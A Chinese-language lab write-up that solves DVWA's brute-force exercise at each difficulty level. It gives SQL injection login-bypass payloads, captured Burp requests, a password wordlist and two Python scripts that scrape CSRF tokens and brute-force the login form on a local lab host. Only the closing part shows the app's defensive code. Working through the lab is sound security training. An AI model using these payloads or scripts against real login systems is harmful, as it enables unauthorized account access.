# DVWA Brute Force
###### tags: `DVWA`
## Low:
**分析code**
* get 傳值
* username 沒過濾
* password 沒過濾 但md5 hash了
* sql 直接拼接 所以可以sql 注入
<br/>
<br/>
因此我們可以使用 username 來注入
```php=
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//自己把 query 打印一下 並且 exit()
var_dump($query);
exit();
```
<br/>
<br/>
先隨變輸入並且dump 語句分析:
```php=
username = 11111111111111
password = 22222222222222
string(102) "SELECT * FROM `users` WHERE user = '11111111111111' AND password = '26c924b47cf221582c9d5aede42dadf5';"
```
<br/>
<br/>
使用單引號前後閉合,密碼已經不重要了,不可控
```php=
username = admin' or '1
password =
成功
string(100) "SELECT * FROM `users` WHERE user = 'admin' or '1' AND password = 'd41d8cd98f00b204e9800998ecf8427e';"
```
<br/>
<br/>
可以理解一下為沒閉合為何報錯
```php=
username = admin' or 1 #
password =
失敗報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND password = 'd41d8cd98f00b204e9800998ecf8427e'' at line 1
username = admin' or '1' = '1
password =
成功
```
<br/>
<br/>
註釋繞過
```php=
#號繞過
username = admin' #
password =
成功
-- (空格) (不加空格會失敗)
username = admin' --
password =
成功
```
以上為sql 繞過方式,接下來是題目要求的brute force:
<br/>
burpsuite 抓包
```http=
GET /vulnerabilities/brute/?username=11111111111111111&password=2222222222222222222&Login=Login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/vulnerabilities/brute/
Cookie: wp-settings-time-1=1666091374; PHPSESSID=a9f10ad57eff3bee65f1769861e2919e; security=low
Upgrade-Insecure-Requests: 1
```
選擇runtime file 字典檔 bf.txt
```
a
b
c
d
password
```
最後會依據封包長度來判斷response的內容,通常不一樣的就是答案
密碼:password
<br/>
<br/>
## Medium
* mysqli_real_escape_string 轉譯單引號 (斜槓 + 單引號),無法sql 注入了
* 但5.4 sql 可以用 寬字節繞過
```php=
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
```
登入失敗加上2秒
```php=
// Login failed
sleep( 2 );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
```
還是可以用爆破只是時間比較久。
<br/>
<br/>
## High
* stripslashes 去掉 /
* mysqli_real_escape_string 單引號轉譯 / + '
* token 值
token 驗證:
```
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
```
失敗睡0-3秒
```
// Login failed
sleep( rand( 0, 3 ) );
$html .= "<pre><br />Username and/or password incorrect.</pre>";
```
bp:
```http=
GET /vulnerabilities/brute/?username=111111111&password=22222222222&Login=Login&user_token=659aba0ee90e738b8974e2be535454b2 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/vulnerabilities/brute/
Cookie: wp-settings-time-1=1666091374; PHPSESSID=a9f10ad57eff3bee65f1769861e2919e; security=high
Upgrade-Insecure-Requests: 1
```
這邊思路是使用爬蟲。
寫一個爬蟲 功能是,抓取最新頁面的token,然後get請求送出
參考:https://lonelysec.com/dvwa%ef%bc%88damn-vulnerable-web-application%ef%bc%89-brute-force/
python:
```python=
import urllib2
import re
#輸入當前IP地址
IP = '192.168.43.96'
#輸入自己當前的sessionid
PHPSESSID = '61adb5af7a80da7bba6a0d22110e39a4'
#設定cookie
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'security=high; PHPSESSID=' + PHPSESSID))
#爆破字典
usernames = ['admin','manage','system','root','whoami']
passwords = ['admin','root','123456','password','abc123','111111','654321','000000']
#確認破解範圍
flag=0
for username in usernames:
if flag==1:
break
for password in passwords:
#訪問首頁
response = opener.open('http://' + IP + '/vulnerabilities/brute/')
content = response.read()
#獲取user_token
user_token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",content)[0]
#傳送登入資料包
url = 'http://'+IP+'/vulnerabilities/brute/?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
response = opener.open(url)
content = response.read()
#確認破解結果
print '-'*20
print u'使用者名稱:'+username
print u'密碼:'+password
if 'Username and/or password incorrect.' in content:
print u'Fail...'
else:
print u'Success~'
flag=1
break
print '-'*20
```
正則表達:
```
r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)"
```
```
r"" 代表""裡面的是正則式
(?<=xxx) 代表xxx開頭
. 匹配除“\n”之外的任何单个字符。要匹配包括“\n”在内的任何字符
+ 代表匹配前面的子表达式一次或多次。例如,“zo+”能匹配“zo”以及“zoo”,但不能匹配“z”
? 代表非貪婪
(?=xxx)代表以xxx結尾
```
### 另一種BP 外掛 ,其實原理一模一樣。
CSRF Token Tracker
logger++
這邊我以前實驗過,可以成功,最新不知道是不是版本出問題,不會自動抓token
<br/><br/>
### 不然用postman + curl + python 自己拼一拼。
postman 加上 需要的 header 然後 get 請求,轉成 curl 命令
我們在加上 -s 參數 不顯示進度條
```bash=
curl -s --location --request GET 'http://192.168.43.96/vulnerabilities/brute/' --header 'Cookie: PHPSESSID=6db3502521fc376f123936246f53c91d; security=high'
```
curl 請求會拿到 html,在搜索token,在加上token 送出
```python
import os
import re
pwd_list = ['admin','123','666']
for pwd in pwd_list:
host = "http://192.168.43.96/vulnerabilities/brute/"
username = "?username=admin"
password = "&password="
login="&Login=Login"
user_token="&user_token="
# cmd execute curl and get token
#############################################
cmd = "curl -s --location --request GET " + host + " --header 'Cookie: PHPSESSID=6db3502521fc376f123936246f53c91d; security=high' "
cmd_result = os.popen(cmd)
pattern = "(?<=user_token\' value=\')\w*"
#re.findall return a list
regex_result = re.findall(pattern , cmd_result.read())
token = ''.join(regex_result)
#############################################
password += pwd
user_token += token
url = host + username + password + login + user_token
url ="'" + url + "'"
#final request
cmd2 = "curl -s --location --request GET " + url + " --header 'Cookie: PHPSESSID=6db3502521fc376f123936246f53c91d; security=high' "
cmd2_result = os.popen(cmd2)
#成功登入會有以下字串
key_word = "Welcome to the password protected area admin"
#搜索字串
find_result = cmd2_result.read().find(key_word)
#有找到就顯示密碼
if(find_result != -1):
print("password found: "+pwd)
```
<br/>
<br/>
# impossilbe
* mysqli_real_escape_string
* stripslashes
PDO 防sql 注入
```
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
```
延時 三次失敗 鎖15分
```
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
```
## 後記:
high 難度 我一開始想用 fetch 去抓token 最後因為CROS 同源政策檔掉了。所以只能改爬蟲思路。
<br/>
<br/>
<br/>
<br/>